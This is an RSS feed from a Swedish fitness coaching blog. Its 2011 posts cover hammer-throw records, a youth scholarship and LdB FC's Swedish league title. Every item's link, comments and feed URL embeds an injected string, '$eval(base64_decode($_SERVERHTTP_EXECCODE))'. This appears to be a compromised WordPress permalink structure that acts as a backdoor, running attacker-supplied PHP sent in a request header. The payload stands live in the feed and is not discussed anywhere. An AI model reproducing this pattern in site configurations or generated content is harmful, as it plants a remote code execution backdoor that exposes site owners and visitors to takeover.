<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>FYSEXPERTEN.SE</title>
	<atom:link href="http://www.fysexperten.se/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.fysexperten.se</link>
	<description>Din funktionella fystränare</description>
	<lastBuildDate>Sun, 20 Nov 2011 11:35:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
		<item>
		<title>Marinda fick Norra Skånes Bedrupsstipendium</title>
		<link>http://www.fysexperten.se/2011/11/20/marinda-fick-norra-skanes-bedrupsstipendium/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://www.fysexperten.se/2011/11/20/marinda-fick-norra-skanes-bedrupsstipendium/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 20 Nov 2011 11:35:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Allmänt]]></category>

		<guid isPermaLink="false">http://www.fysexperten.se/?p=871</guid>
		<description><![CDATA[Efter ha vunnit USM på det längsta kastet en 16-åring har gjort, 53,16, fick Marinda Pettersson ta emot ett stipendium från Norra Skånes Bedrupsstipendium. Marinda har även under säsongen fått ta på sig landslagströjan för första gången när hon debuterade på ungdomsfinnkampen. Hon läser nu på friidrottsgymnasiet i Malmö och har tränat under fysexpertens regi [...]]]></description>
			<content:encoded><![CDATA[<p>Efter ha vunnit USM på det längsta kastet en 16-åring har gjort, 53,16, fick Marinda Pettersson ta emot ett stipendium från Norra Skånes Bedrupsstipendium. Marinda har även under säsongen fått ta på sig landslagströjan för första gången när hon debuterade på ungdomsfinnkampen. Hon läser nu på friidrottsgymnasiet i Malmö och har tränat under fysexpertens regi sedan april. Då kastade hon runt 45 meter. Anledningen till den stora ökningen har främst varit teknikförbättringar. Resultatmål för nästa säsong är att vinna ungdomsfinnkampen och kasta längre än Ida Storms 17års rekord på 57,55. Ni kan läsa i tidningens egen förklaring till stipendiet på följande länk.</p>
<p><a href="http://www.nsk.se/article/20111118/HASSLEHOLM/711189853/1129/-/fotboll-och-friidrott-foll-juryn-i-smaken">http://www.nsk.se/article/20111118/HASSLEHOLM/711189853/1129/-/fotboll-och-friidrott-foll-juryn-i-smaken</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.fysexperten.se/2011/11/20/marinda-fick-norra-skanes-bedrupsstipendium/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SM-guld till LdB FC</title>
		<link>http://www.fysexperten.se/2011/10/16/sm-guld-till-ldb-fc/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://www.fysexperten.se/2011/10/16/sm-guld-till-ldb-fc/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 16 Oct 2011 06:00:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Allmänt]]></category>

		<guid isPermaLink="false">http://www.fysexperten.se/?p=868</guid>
		<description><![CDATA[Efter en utklassningsseger mot Örebro med 6-0 kan LdB FC för andra året i rad titulera sig som svenska mästarinnor. Manon Melis stod för tre framspelningar och vann även i år årets skytteliga. Fysexperten har hjälpt till med att lägga upp deras smidighets-, styrke- och snabbhetsträning. När spelarna återhämtas sig efter guldfirandet kommer vi köra [...]]]></description>
			<content:encoded><![CDATA[<p>Efter en utklassningsseger mot Örebro med 6-0 kan LdB FC för andra året i rad titulera sig som svenska mästarinnor. Manon Melis stod för tre framspelningar och vann även i år årets skytteliga. Fysexperten har hjälpt till med att lägga upp deras smidighets-, styrke- och snabbhetsträning. När spelarna återhämtas sig efter guldfirandet kommer vi köra styrka igen, för i november är det dags för åttondelsfinal i Champions League. Nästa år kommer de vara ännu smidigare, starkare och snabbare. Vem skall kunna stoppa dem då?</p>
<p>Läs gärna mer och se bilder från firandet på följande länk: <a href="http://www.sydsvenskan.se/sport/fotboll/ldbfcmalmo/">http://www.sydsvenskan.se/sport/fotboll/ldbfcmalmo/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.fysexperten.se/2011/10/16/sm-guld-till-ldb-fc/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rapport efter sex spelade matcher</title>
		<link>http://www.fysexperten.se/2011/05/15/rapport-efter-sex-spelade-matcher/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://www.fysexperten.se/2011/05/15/rapport-efter-sex-spelade-matcher/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 15 May 2011 07:16:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Allmänt]]></category>

		<guid isPermaLink="false">http://www.fysexperten.se/?p=864</guid>
		<description><![CDATA[Efter sex omgångar är LdB FC i topp efter slagit såväl värsta utmanarna Linköping och Tyresö. Facit så här långt har blivit fem vinster och en oavgjord. Nästa match blir den 22 maj uppe i Piteå. Bäst form i LdB FC är anfallsstjärnan från Holland, Manon Melis, med sju gjorda mål på sex matcher. Kristianstad [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Efter sex omgångar är LdB FC i topp efter slagit såväl värsta utmanarna Linköping och Tyresö. Facit så här långt har blivit fem vinster och en oavgjord. Nästa match blir den 22 maj uppe i Piteå. Bäst form i LdB FC är anfallsstjärnan från Holland, Manon Melis, med sju gjorda mål på sex matcher. Kristianstad ligger oväntat tvåa och Umeå trea. Läs mer på följande länk <a href="http://svenskfotboll.se/damallsvenskan/">http://svenskfotboll.se/damallsvenskan/</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fysexperten.se/2011/05/15/rapport-efter-sex-spelade-matcher/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ida kastade 63,72!</title>
		<link>http://www.fysexperten.se/2011/05/15/ida-kastade-6372/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://www.fysexperten.se/2011/05/15/ida-kastade-6372/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 15 May 2011 07:06:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Allmänt]]></category>

		<guid isPermaLink="false">http://www.fysexperten.se/?p=861</guid>
		<description><![CDATA[Vid conferance tävlingarna i Tucson, Arizona kastade Ida ännu ett nytt personligt rekord i slägga. Det nya personliga rekordet är nu 63,72. Kvalet till JEM i Ostrava i mitten på juli är nu öveträffad på varje tävling och hon har därför redan blivit en av fem som redan är uttagna.  Snart drar det ihop sig [...]]]></description>
			<content:encoded><![CDATA[<p>Vid conferance tävlingarna i Tucson, Arizona kastade Ida ännu ett nytt personligt rekord i slägga. Det nya personliga rekordet är nu 63,72. Kvalet till JEM i Ostrava i mitten på juli är nu öveträffad på varje tävling och hon har därför redan blivit en av fem som redan är uttagna.  Snart drar det ihop sig till den stora NCAA-finalen och former går fortfarande uppåt.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fysexperten.se/2011/05/15/ida-kastade-6372/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ännu ett nytt pers av Ida</title>
		<link>http://www.fysexperten.se/2011/05/01/annu-ett-nytt-pers-av-ida/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://www.fysexperten.se/2011/05/01/annu-ett-nytt-pers-av-ida/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 01 May 2011 03:33:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Allmänt]]></category>

		<guid isPermaLink="false">http://www.fysexperten.se/?p=852</guid>
		<description><![CDATA[62,79 lyder nu det nya personliga rekordet i slägga för Ida Storm. Det var under en tävling mot ärkerivalen USC hon kastde ännu ett nytt personligt rekord. För två helger sen slog hon sitt gamla rekord då med 62,62 i den klassiska friidrottstävlingen i Mt Sac. Detta resultat är även det bästa som en 20-åring [...]]]></description>
			<content:encoded><![CDATA[<p>62,79 lyder nu det nya personliga rekordet i slägga för Ida Storm. Det var under en tävling mot ärkerivalen USC hon kastde ännu ett nytt personligt rekord. För två helger sen slog hon sitt gamla rekord då med 62,62 i den klassiska friidrottstävlingen i Mt Sac. Detta resultat är även det bästa som en 20-åring kvinna eller yngre kastat i Sverige. 62,19 lyder det svenska rekordet för 19-åringar som innehas av Karolin Pedersen.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fysexperten.se/2011/05/01/annu-ett-nytt-pers-av-ida/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>62,22 av Ida Storm!</title>
		<link>http://www.fysexperten.se/2011/04/04/6222-av-ida-storm/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://www.fysexperten.se/2011/04/04/6222-av-ida-storm/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 04 Apr 2011 04:21:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Friidrottstävling]]></category>

		<guid isPermaLink="false">http://www.fysexperten.se/?p=850</guid>
		<description><![CDATA[Det blev ett nytt personligt rekord av Ida Storm i slägga under tävlingarna i Stanford i helgen. Efter en mycket stabil och jämn serie med alla kast över 60 meter kastade hon 62.22 som bäst. Hon ligger nu 8 i statistiken över alla studenter i USA och hon är numera bästa &#8221;Freshman&#8221; i USA. Det [...]]]></description>
			<content:encoded><![CDATA[<p>Det blev ett nytt personligt rekord av Ida Storm i slägga under tävlingarna i Stanford i helgen. Efter en mycket stabil och jämn serie med alla kast över 60 meter kastade hon 62.22 som bäst. Hon ligger nu 8 i statistiken över alla studenter i USA och hon är numera bästa &#8221;Freshman&#8221; i USA. Det kommer bli tävlingar varje helg under en tid framöver så håll utkik på långa längder.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fysexperten.se/2011/04/04/6222-av-ida-storm/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LdB FC har öppnat försäsongen starkt</title>
		<link>http://www.fysexperten.se/2011/03/20/ldb-fc-har-oppnat-forsasongen-starkt/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://www.fysexperten.se/2011/03/20/ldb-fc-har-oppnat-forsasongen-starkt/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 19 Mar 2011 22:26:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Allmänt]]></category>

		<guid isPermaLink="false">http://www.fysexperten.se/?p=848</guid>
		<description><![CDATA[LdB FC har vunnit alla sina försäsongsmatcher och idag slog de även Sky Blue med 1-0  i finalen i turneringen &#8221;Tournament of Champions&#8221;. Läs gärna mer på deras hemsida se länk nedan. På onsdag väntar ännu ett nytt styrkeprogram med starkt fokus på snabbstyrka, detta för att trimma kropparna efter en hållfasthets-, maxstyrke- och explosivfas [...]]]></description>
			<content:encoded><![CDATA[<p>LdB FC har vunnit alla sina försäsongsmatcher och idag slog de även Sky Blue med 1-0  i finalen i turneringen &#8221;Tournament of Champions&#8221;. Läs gärna mer på deras hemsida se länk nedan. På onsdag väntar ännu ett nytt styrkeprogram med starkt fokus på snabbstyrka, detta för att trimma kropparna efter en hållfasthets-, maxstyrke- och explosivfas i styrketräningen.</p>
<p>http://www.itsawomensworld.se/champions-i-tournament-of-champions?newspageid=1025<a href="http://www.itsawomensworld.se/champions-i-tournament-of-champions?newspageid=1025http://www.itsawomensworld.se/champions-i-tournament-of-champions?newspageid=1025">champions-i-tournament-of-champions?newspageid=1025</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.fysexperten.se/2011/03/20/ldb-fc-har-oppnat-forsasongen-starkt/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ida kastade nytt inofficiellt svenskt rekord!</title>
		<link>http://www.fysexperten.se/2011/02/26/ida-kastade-nytt-inofficiellt-svensk-rekord/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://www.fysexperten.se/2011/02/26/ida-kastade-nytt-inofficiellt-svensk-rekord/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 26 Feb 2011 10:01:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Allmänt]]></category>
		<category><![CDATA[Friidrottstävling]]></category>

		<guid isPermaLink="false">http://www.fysexperten.se/?p=840</guid>
		<description><![CDATA[Vid viktkastningstävlingarna i Seatlle drog Ida iväg vikten hela 20,70, dvs 28 cm längre än någon tidigare svenska gjort genom tiderna.  Efter en jämn serie runt 19,50 fick hon på en fullträff på 20,70! Ida vann givetvis tävlingen och skrapade ihop tio poäng till sitt lag UCLA Bruins. I april kommer vi att åka över och [...]]]></description>
			<content:encoded><![CDATA[<p>Vid viktkastningstävlingarna i Seatlle drog Ida iväg vikten hela 20,70, dvs 28 cm längre än någon tidigare svenska gjort genom tiderna.  Efter en jämn serie runt 19,50 fick hon på en fullträff på 20,70! Ida vann givetvis tävlingen och skrapade ihop tio poäng till sitt lag UCLA Bruins. I april kommer vi att åka över och träna med henne igen under ett två veckors träningsläger i Los Angeles.</p>
<p> Viktkastning är numera en officiel gren vid SM men än så länge finns inget officiellt svenskt rekord vilket man kan tycka är väldigt märligt. Anledningen är att Svensk friidrott tillämpar sedan lång tid tillbaka principen att ha officiella svenska rekord i endast de grenar och klasser där det finns officiella världsrekord. Det finns alltså svenska rekord i 20 000 m, 25 000 m och 30 000 m löpning men inte i viktkastning. Inne-SM i friidrott kommer att avgöras under dagen vilket kommer bli väldigt spännande att följa.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fysexperten.se/2011/02/26/ida-kastade-nytt-inofficiellt-svensk-rekord/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Inbjudan till &#8221;Effekt eller defekt&#8221;</title>
		<link>http://www.fysexperten.se/2011/02/15/inbjudan-till-effekt-eller-defekt/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://www.fysexperten.se/2011/02/15/inbjudan-till-effekt-eller-defekt/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 15 Feb 2011 19:37:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Allmänt]]></category>

		<guid isPermaLink="false">http://www.fysexperten.se/?p=837</guid>
		<description><![CDATA[Varmt välkomna att anmäla er till utbildningen &#8221;Effekt eller defekt&#8221;. Klicka på länken för läsa den officiella inbjudan. Inbjudan till &#8221;Effekt eller Defekt&#8221;]]></description>
			<content:encoded><![CDATA[<p>Varmt välkomna att anmäla er till utbildningen &#8221;Effekt eller defekt&#8221;. Klicka på länken för läsa den officiella inbjudan.</p>
<p><a href="http://www.fysexperten.se/wp-content/uploads/2011/02/Inbjudan%20f%C3%B6rel%C3%A4sning%2020110104.pdf#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed">Inbjudan till &#8221;Effekt eller Defekt&#8221;</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.fysexperten.se/2011/02/15/inbjudan-till-effekt-eller-defekt/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Storm vann sin första vikttävling på 19,93!</title>
		<link>http://www.fysexperten.se/2011/02/13/storm-vann-sin-forsta-vikttavling-pa-1993/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://www.fysexperten.se/2011/02/13/storm-vann-sin-forsta-vikttavling-pa-1993/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 13 Feb 2011 15:29:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Friidrottstävling]]></category>

		<guid isPermaLink="false">http://www.fysexperten.se/?p=835</guid>
		<description><![CDATA[Ida Storm, MAI, vann viktkastningen i Husky Classic, Seattle på det mycket goda resultatet 19,93. Hon har bara EM-finalisten Tracey Andersson framför sig i Sverige statistiken i år. Det längsta kastet i Sverige genom tiderna har Cecilia Nilsson på 20,42. Nästa tävling blir om två veckor. Läs gärna mer  på UCLA hemsida.]]></description>
			<content:encoded><![CDATA[<p>Ida Storm, MAI, vann viktkastningen i Husky Classic, Seattle på det mycket goda resultatet 19,93. Hon har bara EM-finalisten Tracey Andersson framför sig i Sverige statistiken i år. Det längsta kastet i Sverige genom tiderna har Cecilia Nilsson på 20,42. Nästa tävling blir om två veckor. Läs gärna mer  på <a href="http://www.uclabruins.com/sports/w-track/recaps/021211aaa.html">UCLA hemsida</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fysexperten.se/2011/02/13/storm-vann-sin-forsta-vikttavling-pa-1993/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

